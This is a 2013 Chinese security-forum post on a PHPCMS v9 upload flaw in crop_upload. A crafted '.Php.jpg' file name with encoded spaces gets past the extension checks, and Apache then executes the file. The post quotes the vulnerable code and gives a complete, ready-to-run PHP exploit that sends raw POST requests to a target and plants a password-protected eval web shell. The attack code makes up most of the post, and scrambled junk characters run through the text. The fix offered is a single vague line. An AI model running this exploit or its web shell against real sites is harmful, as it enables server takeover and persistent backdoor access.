找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2518|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行" h- q1 f8 S9 ?, i% x9 y
2 u* g, |& c+ a) }7 h2 ^& w
简要描述:
6 d6 V* e' |5 g3 A3 l* ~$ I# P3 f8 M4 U2 R1 }; N/ ~: d9 q
phpcms v9 getshell (apache)
9 o6 w: L: o1 v4 J  _6 x( Q详细说明:
! Z! [: Y6 _# J8 ^9 Y
1 X/ c9 p2 u3 p* N* g; u5 ?3 B$ I& I' [漏洞文件:phpcms\modules\attachment\attachments.php* y* E0 |; a+ k4 N. c

! B0 K1 d9 A; n  bpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } % {" P3 f$ ?6 [4 z: d' k+ f2 L
后缀检测:phpcms\modules\attachment\functions\global.func.php
" w1 E0 Z8 M# S. M! G% ?% f! T4 O2 Y* u
3 F* ]; {0 m& Z7 e  E# z) |# | % L5 m5 V0 @- @+ W2 u
' U& y" |$ ]2 x, V) Z
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
: e5 H/ \7 j* M" `& p3 F' ?* i
. l6 i# u1 E! T1 V0 S$ z关键函数:
% O' a: d; O5 F* X7 r$ y. q
$ \' B, c2 t$ p/ k* t0 ]
$ ?: }! P% w; H5 ]  n2 k$ V  U  w4 d# E, m
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
4 x. ]* y. a4 o+ r& w
5 M0 J0 q. p! l7 N  Fileext函数是对文件后缀名的提取。) H' T% Y: q* l) b
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
5 B* V' N$ }' d! Q; i5 p+ g" L0 d经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
& D4 h( k4 S: b$ N/ W' E7 |5 r我们回到public function crop_upload() 函数中1 p6 ?4 g1 ]& M! R8 u7 ?$ D
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
9 W/ M& _' ]  p在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
! E# ]' Z3 \9 j! [6 I( M这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
  T) i* ?/ w0 G1 t2 `0 N( ^6 B: E+ u经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。1 B, q4 l- U0 M9 e/ p
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。/ z! h' L' R  s& m: G+ S( b
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
9 E. i4 ^6 d# d1 Y) E! T/ W漏洞证明:/ Z. G. E$ w1 }% |
9 e2 V! `0 w3 o0 j* K
exp:
) X2 c% P# n3 h6 m
+ v" v' e2 E( }3 d/ F5 e+ r<?php3 c2 @" I! f  E# J- E" ^0 G
error_reporting(E_ERROR);7 _0 L6 j  L! ~. H3 I
set_time_limit(0);
: ?+ k: W. @' U0 Z% S$pass="ln";
! P9 }0 b& a/ W  Jprint_r('( k* w" Y9 d$ `
+---------------------------------------------------------------------------+5 A. h. Z0 b+ X! T
PHPCms V9 GETSHELL 0DAY , d! N* E. e5 {' z( R5 k0 j2 v
code by L.N.
" S# r1 S8 k0 h* T$ X7 R) D  f' S4 [6 l& a6 @- t! x  k# v
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net0 a' ]- M$ ~+ w, G* M2 A
+---------------------------------------------------------------------------+0 w8 u) M! N' |3 q3 e" t% p
');
8 W0 L4 ^% Z" L6 l9 t0 ?9 n! |if ($argc < 2) {4 r6 r' f. U% l% f! b9 C  i3 r
print_r('
% W& j: W, G- a! l! [" `+---------------------------------------------------------------------------+
+ Q' I' L4 m  [( W6 r  c7 N% kUsage: php '.$argv[0].' url path+ _9 l7 W/ J2 Q# T
1 N" h( i0 D+ O, ?+ j+ i" ]0 L
Example:
0 ?" s5 u7 T9 ]. U* ~1.php '.$argv[0].' lanu.sinaapp.com/ d  c5 [2 v* b$ x
2.php '.$argv[0].' lanu.sinaapp.com /phpcms  q# @3 U2 s" S9 H- w/ D* P
+---------------------------------------------------------------------------+
1 v1 T$ L, f* H6 U! ~4 F');
, J( N! q* B+ vexit;
2 Q) j) C+ J( A! Z* t, m}
0 m! Y2 I6 z) o: U3 u: q, w2 p
2 ]. u% V" n+ t; ]* S5 o: F$url = $argv[1];& i- ^3 v  H" T! ?: p
$path = $argv[2];1 d  h6 M8 {  y, ?% _+ s( w
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
- }/ C2 y2 Q% [$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
+ u$ b* ]( ^5 e) ?if($ret=Create_dir($url,$path))
+ g- O- L# ~/ r% G& `2 P1 o{
( f- z, a  R& o. q* f2 n//echo $ret;
7 h& V! x+ V5 |0 V( E" {$pattern = "|Server:[^,]+?|U";
. W, L6 _: l1 o: c: [8 z7 cpreg_match_all($pattern, $ret, $matches);
+ N9 S8 r4 h* F( A- \* S) U6 ^' W1 F5 bif($matches[0][0])
+ c7 t, W5 }; S. z. j! \{
) ?7 G! S6 d# ~. y8 D/ V2 R% Sif(strpos($matches[0][0],'Apache') == false)
/ {; w' `# K: `3 s* K{
/ n: }4 T+ L5 E  Z% |8 C! Uecho "\n亲!此网站不是apache的网站。\n";exit;
6 M# J8 C' V" Q2 R; }}2 ~  H7 w( h+ O$ X. I# l' M
}
# S. h$ f2 C8 ^7 X& H- v) q$ret = GetShell($url,$phpshell,$path,$file);
4 E! g- I) M2 W& r6 ?6 O- N$pattern = "|http:\/\/[^,]+?\.,?|U";
5 i) s/ g4 j4 x: Npreg_match_all($pattern, $ret, $matches);/ W  r( W9 f: u# V: M, i
if($matches[0][0])
3 B: Z! h7 j( j2 {, d1 \{
3 C: l5 Z5 g! G, C+ H0 K! j" `: Qecho "\n".'密码为: '.$pass."\n";
4 K6 o0 N, \" Jecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;2 p! c8 l9 h2 X
}* Q* V: n0 Q8 O: [2 q% a
else2 o  n% H) c+ C7 F3 l# x9 p+ I
{! k0 h" O+ B' {
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
2 O, V2 J# _' d/ x# @6 Q* n8 @0 vpreg_match_all($pattern, $ret, $matches);. q/ n; Z+ t2 M2 X# A
if($matches[0][0])
( C0 a1 d; }: F' J. h% p{$ V1 Q) ?1 t5 V3 }# m9 O6 D. X; i
echo "\n".'密码为: '.$pass."\n";
; K2 V: }5 H9 q& zecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
' `' W4 V" p% Y1 g" z" q}4 P* V, h5 d. q1 k8 I( h
else2 h/ g3 g# `6 a6 |$ @7 [
{
/ c: {% u0 }2 e( y/ H$ g' K( R5 cecho "\r\n没得到!\n";exit;
7 U/ G; l5 D8 x) Q+ }}
, u+ Y1 j) e3 K5 e8 H4 H7 C}5 R, q+ r% y2 v2 q6 ~. d7 K# [
}
0 R$ i$ d( W& b) K4 S& {/ y$ D5 m" Z/ N4 z4 O6 L
function GetShell($url,$shell,$path,$js)$ n( B2 h' b; o
{
' o5 c, w$ H+ e$content =$shell;. F2 ]4 Q: k& j! W! C: j/ C
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
- {& |* n1 ^1 y) V0 O/ Q$data .= "Host: ".$url."\r\n";
+ c  C! {' V" T8 Y$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( Z- t; u* x3 q) m$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";3 u$ p+ N8 ]" d" [3 }
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";$ G2 B# m1 Q; L7 S; [
$data .= "Connection: close\r\n";
0 x* X, `9 [) f) U/ @# S6 Z- g  M$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 {& {# ?) p- o0 m( Q$data .= $content."\r\n";# r9 ], W' X/ T0 G
$ock=fsockopen($url,80);) o& _7 a- N8 Q+ M
if (!$ock). r1 P/ h$ R3 b/ S3 z$ P1 h+ u/ t
{
/ V) o" {1 Z7 R3 Q* K. ?' w' O: m0 gecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;: }  k* Q& f/ u0 d  O- y5 a/ j( t
}
/ }& |: T4 p: \' o9 K/ G/ Selse* s. u/ H9 Y) g+ e3 L  N1 n
{+ V; q- L: h7 P
fwrite($ock,$data);9 H$ m. }; n- D; n1 s; U
$resp = '';
! Z, B2 b2 _' Y8 Q3 U' t4 B5 r& Pwhile (!feof($ock))( n$ m; u# u( Z3 }+ W& ?
{$ v3 `4 H0 g. Q$ z1 `5 s
$resp.=fread($ock, 1024);
/ g" C" Z& o& X* o}
' F) K+ Q! Q, v: h* G$ `) f* q: ^1 Lreturn $resp;& I* w* Y+ E$ u/ [3 j4 p
}
, ?9 N- X) m0 Q4 {2 |! y3 l, N}
* r7 F' r; m" a4 n' V; b# F- P  }5 @! U5 F" d( F
function Create_dir($url,$path=''); A: _& {) ]/ W/ ^/ U
{
( T- I+ J) E0 D' T2 X) [% i1 o2 b# v$content ='I love you';8 c* m0 S  K" A! f& W
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";, A8 s5 p$ j8 A# r: ~$ J
$data .= "Host: ".$url."\r\n";4 G7 [* H# i/ e& p8 [
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";8 b0 ^) j5 C4 H: L1 f; I0 s% T  m* d
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";. E: H1 O. |+ A" c9 f5 `! E/ ]
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
, B# l1 G  C9 x1 h( |' z$data .= "Connection: close\r\n";( f/ `  \- u# T
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";6 ?* V# L$ i$ y# T, L$ ?" B
$data .= $content."\r\n";: @5 K& \+ @5 U2 w
$ock=fsockopen($url,80);
* Q; h* s7 y8 b; vif (!$ock); W5 Y) q: ~" a6 Z0 s+ h9 _# {0 i
{* x: O+ X8 l9 q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;$ {" Z' @2 @9 A) P7 A# G  x
}0 v; i' }# c# g
fwrite($ock,$data);4 B6 b# ^7 ?7 X' a# }
$resp = '';
5 J6 w" C2 v9 V3 n. \+ Rwhile (!feof($ock))
( V$ x+ h1 i  w7 {% m{4 p" ~5 I( D7 y
$resp.=fread($ock, 1024);" i) u( M9 x3 q0 r
}- D. @: }0 Y, z! N& a
return $resp;
* v, \" M% r0 x+ z}
1 l8 y! Q- q& N0 x3 t' }4 u' D0 x/ s?>
" g. C! ~& }9 _- A . A. c6 O9 v9 K7 E( }
修复方案:* R  S* y3 f3 p$ q) ?

2 Q9 D+ o  k" w* t1 v% @4 r% m  s过滤过滤再过滤' _9 l1 X8 o6 X, _2 x: h6 O  {

/ q. l; |( ?. A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表